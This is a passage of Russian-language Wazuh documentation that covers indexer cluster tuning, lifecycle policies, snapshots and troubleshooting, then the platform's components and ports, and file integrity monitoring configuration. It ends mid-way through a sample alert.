**Количество шардов нельзя изменить после создания индекса** - для изменения требуется переиндексация (reindex).

### Конфигурация реплик

Реплики обеспечивают отказоустойчивость и увеличивают пропускную способность чтения:

- Для однонодового кластера: `number_of_replicas: 0`
- Для кластера из 3+ узлов: `number_of_replicas: 1`
- Для критически важных данных: `number_of_replicas: 2`

Количество реплик можно изменить в любой момент без переиндексации:

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/wazuh-alerts-*/_settings" \
  -H "Content-Type: application/json" \
  -d '{"index": {"number_of_replicas": 1}}'
```

### Настройка шаблона индексов

Wazuh использует шаблоны индексов для автоматического применения настроек к новым индексам. Настройка выполняется через API индексатора:

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_template/wazuh-custom" \
  -H "Content-Type: application/json" \
  -d '{
    "order": 1,
    "index_patterns": ["wazuh-alerts-*"],
    "settings": {
      "index.number_of_shards": 3,
      "index.number_of_replicas": 1,
      "index.refresh_interval": "5s"
    }
  }'
```

Параметр `order: 1` гарантирует, что пользовательский шаблон применяется поверх стандартного шаблона Filebeat.

## Индексные шаблоны Wazuh

Wazuh создает несколько типов индексов для различных категорий данных:

| Шаблон индекса | Описание | Объем данных |
|---|---|---|
| `wazuh-alerts-*` | Алерты безопасности (результаты срабатывания правил) | Основной поток |
| `wazuh-archives-*` | Все события (включая несработавшие правила) | Очень большой (если включен) |
| `wazuh-statistics-*` | Статистика производительности менеджера | Небольшой |
| `wazuh-monitoring-*` | Данные мониторинга состояния агентов | Средний |

Индексы `wazuh-archives-*` по умолчанию отключены. Их включение значительно увеличивает потребление дискового пространства и требует соответствующего масштабирования хранилища.

## Управление жизненным циклом индексов (ISM)

### Обзор ISM-политик

Index State Management (ISM) позволяет автоматизировать управление индексами на основе возраста, размера или количества документов. Типичный жизненный цикл включает состояния:

1. **Hot** - активная запись и чтение, максимальная производительность
2. **Warm** - только чтение, сниженные ресурсы
3. **Cold** - архивное хранение, минимальные ресурсы
4. **Delete** - автоматическое удаление

### Создание ISM-политики

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_plugins/_ism/policies/wazuh-alerts-policy" \
  -H "Content-Type: application/json" \
  -d '{
    "policy": {
      "description": "Wazuh alerts lifecycle policy",
      "default_state": "hot",
      "states": [
        {
          "name": "hot",
          "actions": [
            {
              "rollover": {
                "min_size": "25gb",
                "min_index_age": "1d"
              }
            }
          ],
          "transitions": [
            {
              "state_name": "warm",
              "conditions": {
                "min_index_age": "7d"
              }
            }
          ]
        },
        {
          "name": "warm",
          "actions": [
            {
              "replica_count": {
                "number_of_replicas": 0
              }
            },
            {
              "force_merge": {
                "max_num_segments": 1
              }
            }
          ],
          "transitions": [
            {
              "state_name": "cold",
              "conditions": {
                "min_index_age": "30d"
              }
            }
          ]
        },
        {
          "name": "cold",
          "actions": [
            {
              "read_only": {}
            }
          ],
          "transitions": [
            {
              "state_name": "delete",
              "conditions": {
                "min_index_age": "90d"
              }
            }
          ]
        },
        {
          "name": "delete",
          "actions": [
            {
              "delete": {}
            }
          ],
          "transitions": []
        }
      ],
      "ism_template": [
        {
          "index_patterns": ["wazuh-alerts-*"],
          "priority": 100
        }
      ]
    }
  }'
```

### Rollover - ротация индексов

Rollover создает новый индекс при достижении заданных условий:

- `min_size` - максимальный размер индекса (например, `25gb`)
- `min_index_age` - максимальный возраст индекса (например, `1d`)
- `min_doc_count` - максимальное количество документов

Условия комбинируются по принципу OR - ротация происходит при достижении любого из условий.

## Настройка производительности

### JVM Heap Size

Размер кучи JVM - критический параметр производительности индексатора.

**Правила:**

- Установите `-Xms` и `-Xmx` на одинаковое значение для предотвращения изменения размера кучи в рантайме
- Выделяйте не более 50% оперативной памяти системы (оставшаяся память используется для файловых кешей ОС)
- Максимальное значение: 32 ГБ (при превышении отключается Compressed OOPs, что снижает эффективность)

Конфигурация в файле `/etc/wazuh-indexer/jvm.options`:

```
-Xms4g
-Xmx4g
```

**Рекомендации по размеру:**

| Оперативная память | JVM Heap | Примечание |
|---|---|---|
| 8 ГБ | 4 ГБ | Минимум для продуктивной среды |
| 16 ГБ | 8 ГБ | Средняя нагрузка |
| 32 ГБ | 16 ГБ | Высокая нагрузка |
| 64 ГБ | 32 ГБ | Максимальное значение |

### Блокировка памяти

Для предотвращения свопинга JVM включите блокировку памяти:

```yaml
# opensearch.yml
bootstrap.memory_lock: true
```

В конфигурации systemd:

```ini
# /etc/systemd/system/wazuh-indexer.service.d/override.conf
[Service]
LimitMEMLOCK=infinity
```

### Refresh Interval

Параметр `refresh_interval` определяет частоту обновления данных для поиска. Значение по умолчанию - 1 секунда. Увеличение интервала повышает производительность записи:

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/wazuh-alerts-*/_settings" \
  -H "Content-Type: application/json" \
  -d '{"index": {"refresh_interval": "5s"}}'
```

Для массовой загрузки данных можно временно отключить refresh:

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/wazuh-alerts-*/_settings" \
  -H "Content-Type: application/json" \
  -d '{"index": {"refresh_interval": "-1"}}'
```

### Настройка merge

Уменьшение количества сегментов через force merge повышает производительность поиска на неизменяемых индексах:

```bash
curl -sk -u admin:password \
  -X POST "https://localhost:9200/wazuh-alerts-2024.01.01/_forcemerge?max_num_segments=1"
```

Применяйте force merge только к индексам, в которые больше не ведется запись (warm/cold состояние).

### Количество шардов на узел

Ограничьте максимальное количество шардов на узел для предотвращения деградации:

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_cluster/settings" \
  -H "Content-Type: application/json" \
  -d '{"persistent": {"cluster.max_shards_per_node": 1000}}'
```

## Мониторинг здоровья кластера

### Основные запросы мониторинга

```bash
# Состояние кластера (green/yellow/red)
curl -sk -u admin:password \
  "https://localhost:9200/_cluster/health?pretty"

# Список узлов с ресурсами
curl -sk -u admin:password \
  "https://localhost:9200/_cat/nodes?v&h=name,role,heap.percent,disk.used_percent,cpu"

# Список индексов с размерами
curl -sk -u admin:password \
  "https://localhost:9200/_cat/indices/wazuh-*?v&h=index,health,status,pri,rep,docs.count,store.size&s=index:desc"

# Распределение шардов
curl -sk -u admin:password \
  "https://localhost:9200/_cat/shards/wazuh-*?v&h=index,shard,prirep,state,docs,store,node"

# Нераспределенные шарды
curl -sk -u admin:password \
  "https://localhost:9200/_cat/shards?v&h=index,shard,prirep,state,unassigned.reason&s=state:desc"

# Использование диска
curl -sk -u admin:password \
  "https://localhost:9200/_cat/allocation?v"
```

### Интерпретация статуса кластера

| Статус | Описание | Действие |
|---|---|---|
| **Green** | Все первичные и реплика-шарды распределены | Нет необходимости в действиях |
| **Yellow** | Все первичные шарды распределены, некоторые реплики нет | Проверьте количество узлов и настройки реплик |
| **Red** | Некоторые первичные шарды не распределены | Немедленное расследование и восстановление |

## Резервное копирование (Snapshot/Restore)

### Регистрация репозитория

**Файловая система (NFS):**

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_snapshot/wazuh-backups" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "fs",
    "settings": {
      "location": "/mnt/snapshots/wazuh",
      "compress": true
    }
  }'
```

**Amazon S3:**

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_snapshot/wazuh-s3-backups" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "s3",
    "settings": {
      "bucket": "wazuh-snapshots",
      "region": "us-east-1",
      "base_path": "indexer-snapshots",
      "compress": true
    }
  }'
```

Путь к файловому репозиторию должен быть указан в `opensearch.yml`:

```yaml
path.repo: ["/mnt/snapshots/wazuh"]
```

### Создание снапшота

```bash
# Полный снапшот
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_snapshot/wazuh-backups/snapshot-$(date +%Y%m%d)?wait_for_completion=false" \
  -H "Content-Type: application/json" \
  -d '{
    "indices": "wazuh-alerts-*,wazuh-archives-*",
    "ignore_unavailable": true,
    "include_global_state": false
  }'

# Проверка статуса снапшота
curl -sk -u admin:password \
  "https://localhost:9200/_snapshot/wazuh-backups/_status?pretty"

# Список снапшотов
curl -sk -u admin:password \
  "https://localhost:9200/_snapshot/wazuh-backups/_all?pretty"
```

### Восстановление из снапшота

```bash
curl -sk -u admin:password \
  -X POST "https://localhost:9200/_snapshot/wazuh-backups/snapshot-20240101/_restore" \
  -H "Content-Type: application/json" \
  -d '{
    "indices": "wazuh-alerts-2024.01.01",
    "ignore_unavailable": true,
    "include_global_state": false,
    "rename_pattern": "(.+)",
    "rename_replacement": "restored-$1"
  }'
```

### Автоматизация снапшотов

Для автоматического создания снапшотов добавьте задание в cron:

```bash
# /etc/cron.d/wazuh-snapshot
0 2 * * * root curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_snapshot/wazuh-backups/snapshot-$(date +\%Y\%m\%d)" \
  -H "Content-Type: application/json" \
  -d '{"indices":"wazuh-alerts-*","ignore_unavailable":true,"include_global_state":false}'
```

## Сравнение с другими платформами

### Elasticsearch Cluster

| Характеристика | Wazuh Indexer (OpenSearch) | Elasticsearch |
|---|---|---|
| Основа | OpenSearch 2.x (fork Elasticsearch 7.10) | Elasticsearch 8.x |
| Лицензия | Apache 2.0 | Elastic License / SSPL |
| Безопасность | OpenSearch Security (встроена) | X-Pack Security (платная в прошлом) |
| ISM | Index State Management | Index Lifecycle Management (ILM) |
| ML | ML Commons plugin | ML features (X-Pack) |
| Стоимость | Бесплатно | Бесплатно (Basic) / Коммерческая |

### Splunk Indexer Cluster

| Характеристика | Wazuh Indexer | Splunk Indexer |
|---|---|---|
| Формат хранения | JSON-документы в Lucene-индексах | Проприетарный (tsidx + journal) |
| Шардирование | Настраиваемые шарды и реплики | Репликация через search factor / replication factor |
| Жизненный цикл | ISM-политики (hot/warm/cold/delete) | SmartStore, frozen tier |
| Поиск | DSL-запросы, PPL | SPL (Search Processing Language) |
| Масштабирование | Горизонтальное (добавление data-узлов) | Горизонтальное (indexer peers) |
| Стоимость | Бесплатно | По объему данных |

## Устранение неполадок

### Кластер в статусе Yellow

**Причина:** реплика-шарды не распределены. Типично для однонодового кластера или когда количество реплик превышает количество data-узлов минус один.

**Решение:**

```bash
# Проверка нераспределенных шардов
curl -sk -u admin:password \
  "https://localhost:9200/_cluster/allocation/explain?pretty"

# Установка реплик в 0 для однонодового кластера
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/wazuh-alerts-*/_settings" \
  -H "Content-Type: application/json" \
  -d '{"index": {"number_of_replicas": 0}}'
```

### Кластер в статусе Red

**Причина:** первичные шарды не распределены. Возможные причины: нехватка дискового пространства, сбой узла, повреждение данных.

**Решение:**

1. Проверьте причину нераспределения:

```bash
curl -sk -u admin:password \
  "https://localhost:9200/_cluster/allocation/explain?pretty"
```

2. Проверьте дисковое пространство:

```bash
curl -sk -u admin:password \
  "https://localhost:9200/_cat/allocation?v"
```

3. При необходимости принудительно перераспределите шарды:

```bash
curl -sk -u admin:password \
  -X POST "https://localhost:9200/_cluster/reroute?retry_failed=true"
```

### Disk Watermarks (пороги диска)

OpenSearch прекращает запись при достижении пороговых значений использования диска:

| Порог | Значение по умолчанию | Поведение |
|---|---|---|
| Low watermark | 85% | Новые шарды не размещаются на узле |
| High watermark | 90% | Шарды переносятся с узла |
| Flood stage | 95% | Индексы переводятся в режим read-only |

Изменение порогов:

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/_cluster/settings" \
  -H "Content-Type: application/json" \
  -d '{
    "persistent": {
      "cluster.routing.allocation.disk.watermark.low": "85%",
      "cluster.routing.allocation.disk.watermark.high": "90%",
      "cluster.routing.allocation.disk.watermark.flood_stage": "95%"
    }
  }'
```

Для снятия блокировки read-only после освобождения пространства:

```bash
curl -sk -u admin:password \
  -X PUT "https://localhost:9200/wazuh-alerts-*/_settings" \
  -H "Content-Type: application/json" \
  -d '{"index.blocks.read_only_allow_delete": null}'
```

### JVM Out of Memory (OOM)

**Симптомы:** узел падает или перестает отвечать, в логах `java.lang.OutOfMemoryError`.

**Решение:**

1. Увеличьте JVM heap в `/etc/wazuh-indexer/jvm.options` (не более 50% RAM и не более 32 ГБ).

2. Проверьте потребление heap:

```bash
curl -sk -u admin:password \
  "https://localhost:9200/_cat/nodes?v&h=name,heap.percent,heap.max"
```

3. Уменьшите количество шардов или индексов (рассмотрите ISM-политику удаления старых данных).

4. Добавьте data-узлы для распределения нагрузки.

### Нераспределенные шарды (Unassigned Shards)

**Диагностика причины:**

```bash
curl -sk -u admin:password \
  "https://localhost:9200/_cluster/allocation/explain?pretty" \
  -H "Content-Type: application/json" \
  -d '{"index":"wazuh-alerts-2024.01.01","shard":0,"primary":true}'
```

**Частые причины:**

- `NODE_LEFT` - узел покинул кластер (восстановите узел или дождитесь возвращения)
- `ALLOCATION_FAILED` - ошибка при размещении (проверьте логи узла)
- `INDEX_CREATED` - индекс только что создан, шарды в процессе распределения
- `CLUSTER_RECOVERED` - кластер восстанавливается после перезапуска

Для общего обзора инфраструктуры см. [раздел инфраструктуры Wazuh](/docs/wazuh/infrastructure/). Данные в индексатор поступают из [серверного кластера](/docs/wazuh/infrastructure/wazuh-server-cluster/), а управление осуществляется через [REST API](/docs/wazuh/infrastructure/wazuh-server-api/).


---

# Компоненты Wazuh - агент, сервер, индексатор, дашборд

Source: https://opennix.org/docs/wazuh/getting-started/wazuh-components/


Платформа Wazuh состоит из четырех основных компонентов: агент, сервер (менеджер), индексатор и дашборд. Каждый компонент проектировался для выполнения конкретной функции в цепочке обработки данных безопасности. Данная страница содержит детальное описание каждого компонента, его модулей, поддерживаемых платформ и сетевых требований.

## Wazuh Agent

Wazuh Agent - это легковесное приложение, устанавливаемое на контролируемые конечные точки: серверы, рабочие станции, виртуальные машины и облачные инстансы. Агент собирает данные безопасности и передает их на сервер Wazuh для анализа.

### Модули агента

Агент включает набор специализированных модулей, каждый из которых отвечает за определенный аспект мониторинга безопасности.

| Модуль | Назначение | Описание |
|---|---|---|
| Log Collector | Сбор журналов | Чтение системных и прикладных логов (syslog, Windows Event Log, macOS ULS, JSON, многострочные форматы) |
| File Integrity Monitoring | Мониторинг целостности | Отслеживание создания, изменения и удаления файлов. Поддержка интеграции с YARA для обнаружения вредоносного ПО |
| Syscollector | Инвентаризация | Сбор данных об ОС, оборудовании, установленных пакетах, открытых портах, сетевых интерфейсах и запущенных процессах |
| SCA | Оценка конфигурации | Проверка конфигурации системы по политикам CIS (CIS Benchmarks) и пользовательским правилам |
| Vulnerability Detector | Обнаружение уязвимостей | Сопоставление установленного ПО с базами CVE (NVD, Red Hat, Canonical, Microsoft) |
| Rootcheck | Обнаружение руткитов | Проверка на наличие руткитов, скрытых процессов, подозрительных файлов и аномалий ядра |
| Command Monitoring | Мониторинг команд | Периодическое выполнение команд и анализ вывода (например, проверка состояния служб) |
| Active Response | Активное реагирование | Выполнение действий на агенте по команде сервера: блокировка IP, остановка процесса, карантин файла |
| Docker Listener | Мониторинг Docker | Отслеживание событий Docker Engine: создание, запуск, остановка контейнеров, изменения конфигурации |

### Взаимодействие с сервером

Агент устанавливает постоянное соединение с сервером Wazuh:

- **Передача событий** - TCP-порт 1514, шифрование AES-256
- **Регистрация** - TCP-порт 1515, TLS-аутентификация
- **Управление** - централизованная конфигурация через shared configuration
- **Обновления** - удаленное обновление агентов через WPK (Wazuh Package)

Агент работает в режиме минимального потребления ресурсов и адаптирует интенсивность сканирования к текущей нагрузке системы.

### Поддерживаемые операционные системы

Wazuh Agent поддерживает широкий спектр операционных систем.

| Семейство ОС | Поддерживаемые версии |
|---|---|
| **Linux** | Amazon Linux 1, 2, 2023; CentOS 6, 7, 8; Red Hat Enterprise Linux 6-9; Ubuntu 14.04-24.04; Debian 8-12; SUSE Linux Enterprise 12, 15; Oracle Linux 6-9; Fedora 31+; Arch Linux; Raspberry Pi OS |
| **Windows** | Windows 7, 8, 8.1, 10, 11; Windows Server 2008 R2 - 2022 |
| **macOS** | macOS 10.15 (Catalina) - 14 (Sonoma) |
| **Solaris** | Solaris 10, 11 (SPARC и x86) |
| **AIX** | AIX 6.1, 7.1, 7.2, 7.3 |
| **HP-UX** | HP-UX 11.31 (11i v3) |

## Wazuh Server (Manager)

Wazuh Server - это центральный компонент платформы, выполняющий анализ данных безопасности, полученных от агентов. Сервер принимает события, декодирует их, сопоставляет с правилами обнаружения и генерирует алерты.

### Движок анализа

Процесс обработки событий на сервере Wazuh включает несколько уровней.

**Декодеры** извлекают структурированные данные из сырых логов. Wazuh содержит более 4000 встроенных декодеров для стандартных форматов (syslog, Apache, Nginx, SSH, Windows Event Log и другие). Администраторы могут создавать пользовательские декодеры в файле `/var/ossec/etc/decoders/local_decoder.xml`.

**Правила обнаружения** определяют условия для генерации алертов. Каждое правило имеет уникальный идентификатор и уровень критичности от 0 до 15:

| Уровень | Классификация | Описание |
|---|---|---|
| 0 | Игнорируется | Правило не генерирует алерт (используется для фильтрации) |
| 1-3 | Информационное | Штатные системные события |
| 4-6 | Низкий | Незначительные аномалии |
| 7-9 | Средний | События, требующие внимания |
| 10-11 | Высокий | Потенциальные атаки, ошибки безопасности |
| 12-15 | Критический | Подтвержденные атаки, серьезные инциденты |

Встроенный набор правил Wazuh содержит более 4500 правил, покрывающих стандартные сценарии обнаружения. Пользовательские правила добавляются в файл `/var/ossec/etc/rules/local_rules.xml`.

**CDB-списки** (Constant Database) обеспечивают быстрый поиск по справочным данным: списки вредоносных IP, хеши файлов, индикаторы компрометации.

### Кластеризация

Wazuh Server поддерживает кластерную конфигурацию для обеспечения отказоустойчивости и распределения нагрузки:

- **Master-node** - основной узел, хранящий эталонную конфигурацию
- **Worker-node** - рабочие узлы, обрабатывающие события от агентов
- **Синхронизация** - автоматическая репликация конфигурации, правил и декодеров между узлами через порт 1516/TCP

Агенты распределяются между worker-узлами. При отказе узла его агенты автоматически переподключаются к другому узлу кластера.

### RESTful API

Wazuh Server предоставляет RESTful API (порт 55000/TCP) для программного управления платформой:

- Управление агентами (список, статус, конфигурация, перезапуск)
- Запрос алертов и событий
- Управление правилами и декодерами
- Мониторинг состояния кластера
- Управление пользователями и ролями

API использует JWT-аутентификацию и поддерживает RBAC (Role-Based Access Control) для разграничения доступа. Подробнее об API - в разделе [API сервера](/docs/wazuh/infrastructure/wazuh-server-api/).

### Активное реагирование

Сервер Wazuh может выполнять автоматические действия при срабатывании правил определенного уровня:

- Блокировка IP-адреса на межсетевом экране (iptables, Windows Firewall, pf)
- Остановка процесса
- Отключение учетной записи
- Помещение файла в карантин
- Выполнение пользовательского скрипта

Действия могут выполняться на агенте, сервере или на всех агентах одновременно.

## Wazuh Indexer

Wazuh Indexer - это компонент хранения и поиска, построенный на базе OpenSearch (форк Elasticsearch). Индексатор принимает алерты и события от сервера Wazuh через Filebeat и обеспечивает их долгосрочное хранение, полнотекстовый поиск и агрегацию.

### Основные функции

| Функция | Описание |
|---|---|
| Индексация | Структурированное хранение JSON-документов с полнотекстовым поиском |
| Кластеризация | Горизонтальное масштабирование через шарды и реплики |
| ISM (Index State Management) | Автоматическое управление жизненным циклом индексов (ротация, удаление, архивирование) |
| Безопасность | TLS-шифрование, RBAC, аудит доступа через OpenSearch Security |
| Снимки (snapshots) | Резервное копирование индексов в S3-совместимое хранилище или файловую систему |

### Индексы Wazuh

Индексатор хранит данные в следующих индексах:

- `wazuh-alerts-*` - алерты, сгенерированные правилами обнаружения
- `wazuh-archives-*` - все события (включая те, что не вызвали алерт), если включен архивный режим
- `wazuh-monitoring-*` - данные мониторинга состояния агентов
- `wazuh-statistics-*` - статистика работы сервера Wazuh

### Кластеризация индексатора

Для продуктивных сред рекомендуется кластерная конфигурация индексатора:

- Минимум 3 узла для обеспечения кворума
- Первичные и реплицированные шарды для отказоустойчивости
- Выделенные master-узлы для стабильности кластера
- Порты 9300-9400/TCP для межузлового взаимодействия

Подробнее о кластеризации - в разделе [Кластер индексатора](/docs/wazuh/infrastructure/wazuh-indexer-cluster/).

## Wazuh Dashboard

Wazuh Dashboard - это веб-интерфейс платформы, построенный на базе OpenSearch Dashboards (форк Kibana). Дашборд предоставляет визуализацию данных безопасности, инструменты управления и отчетность.

### Модули дашборда

| Модуль | Назначение |
|---|---|
| Security Events | Просмотр и фильтрация алертов безопасности в реальном времени |
| Integrity Monitoring | Визуализация изменений файловой системы |
| Vulnerability Detection | Список обнаруженных уязвимостей с сортировкой по критичности |
| SCA | Результаты проверки конфигурации по стандартам CIS |
| MITRE ATT&CK | Маппинг алертов на матрицу MITRE ATT&CK |
| Regulatory Compliance | Дашборды для PCI DSS, GDPR, HIPAA, NIST 800-53 |
| Agent Management | Управление агентами, группами и конфигурацией |
| Dev Tools | Консоль для прямых запросов к индексатору |
| Reporting | Генерация PDF-отчетов по расписанию |

### Сетевые подключения дашборда

Дашборд устанавливает два типа соединений:

- **С индексатором** (порт 9200/TCP) - получение данных для визуализации и поиска
- **С сервером Wazuh** (порт 55000/TCP) - получение конфигурации, управление агентами, статус кластера

Пользователи подключаются к дашборду через HTTPS (порт 443/TCP).

## Сводная таблица портов и протоколов

| Компонент | Порт | Протокол | Направление | Назначение |
|---|---|---|---|---|
| Agent | 1514/TCP | AES-256 | Agent -> Server | Передача событий |
| Agent | 1515/TCP | TLS | Agent -> Server | Регистрация |
| Server | 1516/TCP | TLS | Server <-> Server | Кластер серверов |
| Server | 55000/TCP | HTTPS | Dashboard -> Server | REST API |
| Server | 514/UDP,TCP | Syslog | External -> Server | Syslog (отключен) |
| Indexer | 9200/TCP | HTTPS | Server/Dashboard -> Indexer | API индексатора |
| Indexer | 9300-9400/TCP | TLS | Indexer <-> Indexer | Кластер индексатора |
| Dashboard | 443/TCP | HTTPS | User -> Dashboard | Веб-интерфейс |

## Взаимодействие компонентов

Понимание взаимодействия компонентов помогает при диагностике проблем и планировании сетевой безопасности:

1. Агент регистрируется на сервере через порт 1515 (однократно)
2. Агент передает события на сервер через порт 1514 (постоянное соединение)
3. Сервер анализирует события и генерирует алерты
4. Filebeat на сервере передает алерты в индексатор через порт 9200
5. Дашборд запрашивает данные из индексатора (порт 9200) и конфигурацию с сервера (порт 55000)
6. Пользователь работает с дашбордом через браузер (порт 443)

Для получения информации о потоках данных и моделях развертывания обратитесь к разделу [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/). Практические сценарии применения описаны в разделе [Сценарии использования](/docs/wazuh/getting-started/wazuh-use-cases/).


---

# Мониторинг целостности файлов (FIM) в Wazuh 4.14

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/


Модуль File Integrity Monitoring (FIM) в Wazuh реализован через компонент syscheck и предназначен для обнаружения изменений в файлах, каталогах и записях реестра Windows. Модуль вычисляет криптографические хеши и сохраняет атрибуты файлов, сравнивая текущее состояние с базовой линией при каждом сканировании. Любое расхождение генерирует алерт с детальной информацией об изменении.

## Принцип работы

FIM выполняет две основные функции:

1. **Базовое сканирование** - при первом запуске модуль создает снимок контролируемых файлов (хеши, размеры, права, владельцы, временные метки) и сохраняет его в локальной базе данных агента.
2. **Сравнительный анализ** - при каждом последующем сканировании или в реальном времени модуль сравнивает текущее состояние файлов с базовой линией и формирует алерты при обнаружении расхождений.

Процесс обработки событий FIM:

```
Агент (syscheck) → Обнаружение изменения → Отправка на сервер →
→ Декодирование → Сопоставление с правилами → Алерт → Индексатор
```

## Конфигурация syscheck в ossec.conf

Основная конфигурация FIM размещается в блоке `<syscheck>` файла `/var/ossec/etc/ossec.conf` на стороне агента. Модуль также можно настроить централизованно через `agent.conf` на сервере.

### Базовая конфигурация

```xml
<syscheck>
  <disabled>no</disabled>
  <frequency>43200</frequency>
  <scan_on_start>yes</scan_on_start>
  <alert_new_files>yes</alert_new_files>

  <!-- Каталоги для мониторинга -->
  <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
  <directories check_all="yes">/boot</directories>

  <!-- Исключения -->
  <ignore>/etc/mtab</ignore>
  <ignore>/etc/hosts.deny</ignore>
  <ignore>/etc/mail/statistics</ignore>
  <ignore>/etc/random-seed</ignore>
  <ignore>/etc/adjtime</ignore>
  <ignore>/etc/httpd/logs</ignore>
  <ignore>/etc/utmpx</ignore>
  <ignore>/etc/cups/certs</ignore>
  <ignore>/etc/dumpdates</ignore>
  <ignore>/etc/svc/volatile</ignore>

  <!-- Лимит отслеживаемых файлов -->
  <file_limit>
    <enabled>yes</enabled>
    <entries>100000</entries>
  </file_limit>
</syscheck>
```

### Параметр frequency

Параметр `<frequency>` задает интервал между плановыми сканированиями в секундах. Значение по умолчанию - 43200 секунд (12 часов).

```xml
<frequency>43200</frequency>   <!-- 12 часов (по умолчанию) -->
<frequency>3600</frequency>    <!-- 1 час -->
<frequency>86400</frequency>   <!-- 24 часа -->
```

Для критических систем рекомендуется сочетать плановое сканирование с мониторингом в реальном времени (`realtime`) или расширенным аудитом (`whodata`).

## Атрибуты элемента directories

Элемент `<directories>` определяет каталоги и файлы для мониторинга. Каждый элемент поддерживает набор атрибутов, управляющих поведением мониторинга.

### realtime - мониторинг в реальном времени

Атрибут `realtime="yes"` включает непрерывный мониторинг с использованием inotify (Linux) или ReadDirectoryChangesW (Windows). Алерты генерируются сразу при обнаружении изменения, без ожидания планового сканирования.

```xml
<directories realtime="yes">/etc/ssh</directories>
<directories realtime="yes">/var/www/html</directories>
```

Ограничения:
- На Linux количество inotify watches ограничено параметром ядра `fs.inotify.max_user_watches` (по умолчанию 8192).
- Мониторинг realtime применяется только к файлам в указанном каталоге, но не к подкаталогам, если не задан `recursion_level`.

### whodata - расширенный аудит

Атрибут `whodata="yes"` расширяет мониторинг информацией о том, кто и каким процессом выполнил изменение. Этот режим автоматически включает `realtime`.

```xml
<directories whodata="yes">/etc</directories>
<directories whodata="yes">/usr/bin</directories>
```

На Linux whodata использует подсистему audit (auditd). Wazuh автоматически создает правила аудита для отслеживаемых каталогов. Требования:
- Установленный и запущенный `auditd`
- Наличие утилиты `auditctl`
- Достаточное количество слотов в audit backlog

На Windows whodata использует Windows Security Audit Policy. Необходимо включить аудит объектов файловой системы через групповую политику или `auditpol`.

### check_all - комплексная проверка

Атрибут `check_all="yes"` активирует все доступные проверки одновременно: хеши (MD5, SHA-1, SHA-256), размер, владелец, группа, права, время модификации, inode.

```xml
<directories check_all="yes">/etc/ssh</directories>
```

Эквивалент установки всех следующих атрибутов в `yes`:

| Атрибут | Описание |
|---------|----------|
| `check_md5sum` | Проверка MD5-хеша |
| `check_sha1sum` | Проверка SHA-1-хеша |
| `check_sha256sum` | Проверка SHA-256-хеша |
| `check_size` | Проверка размера файла |
| `check_owner` | Проверка владельца файла |
| `check_group` | Проверка группы владельца |
| `check_perm` | Проверка прав доступа |
| `check_mtime` | Проверка времени модификации |
| `check_inode` | Проверка inode (только UNIX) |

### report_changes - отчет об изменениях содержимого

Атрибут `report_changes="yes"` включает сохранение diff между предыдущей и текущей версией файла. Работает только с текстовыми файлами.

```xml
<directories report_changes="yes" check_all="yes">/etc/ssh/sshd_config</directories>
```

Параметр `diff_size_limit` ограничивает максимальный размер файла для вычисления diff:

```xml
<directories report_changes="yes" diff_size_limit="5MB">/etc</directories>
```

### Дополнительные атрибуты

```xml
<!-- Ограничение глубины рекурсии -->
<directories recursion_level="3" check_all="yes">/var/log</directories>

<!-- Фильтрация по имени файла -->
<directories restrict="\.conf$" check_all="yes">/etc</directories>

<!-- Тегирование алертов -->
<directories tags="web,production" check_all="yes">/var/www</directories>

<!-- Следование по символическим ссылкам -->
<directories follow_symbolic_link="yes">/opt/app/config</directories>
```

### Комбинированный пример

```xml
<directories whodata="yes" report_changes="yes" check_all="yes"
             tags="critical-config" restrict="\.conf$|\.yml$"
             recursion_level="5" diff_size_limit="2MB">/etc</directories>
```

## Исключения из мониторинга

### Элемент ignore

Исключает файлы и каталоги из мониторинга. Поддерживает точное указание пути и регулярные выражения.

```xml
<!-- Точное совпадение пути -->
<ignore>/etc/mtab</ignore>
<ignore>/etc/resolv.conf</ignore>

<!-- Регулярное выражение -->
<ignore type="sregex">^/proc</ignore>
<ignore type="sregex">\.swp$</ignore>
<ignore type="sregex">/\.git/</ignore>
```

### Элемент nodiff

Исключает содержимое файла из вычисления diff (при `report_changes="yes"`), но продолжает отслеживать метаданные. Используется для файлов с конфиденциальными данными.

```xml
<nodiff>/etc/shadow</nodiff>
<nodiff>/etc/ssl/private</nodiff>
<nodiff type="sregex">\.key$</nodiff>
```

## Мониторинг реестра Windows

FIM поддерживает мониторинг ключей и значений реестра Windows через элемент `<windows_registry>`.

```xml
<windows_registry arch="both" check_all="yes">
  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
</windows_registry>

<windows_registry arch="both" check_all="yes" report_changes="yes">
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
</windows_registry>

<windows_registry arch="64bit" check_all="yes" whodata="yes">
  HKEY_LOCAL_MACHINE\SOFTWARE\Policies
</windows_registry>
```

### Атрибуты windows_registry

| Атрибут | Описание |
|---------|----------|
| `arch` | Архитектура реестра: `32bit`, `64bit` или `both` |
| `check_all` | Все проверки атрибутов |
| `check_sum` | Проверка хешей значений |
| `report_changes` | Отчет об изменениях значений |
| `restrict_key` | Фильтр имен ключей (sregex) |
| `restrict_value` | Фильтр имен значений (sregex) |
| `check_type` | Отслеживание изменений типа значения |
| `recursion_level` | Глубина вложенности ключей (до 512) |

### Исключения реестра

```xml
<registry_ignore>HKEY_LOCAL_MACHINE\Security\Policy\Secrets</registry_ignore>
<registry_ignore type="sregex">Enum$</registry_ignore>
```

### Лимит записей реестра

```xml
<registry_limit>
  <enabled>yes</enabled>
  <entries>100000</entries>
</registry_limit>
```

## Примеры алертов FIM

### Модификация файла (JSON)

```json
{
  "timestamp": "2024-11-15T10:23:45.000+0000",
  "rule": {
    "level": 7,
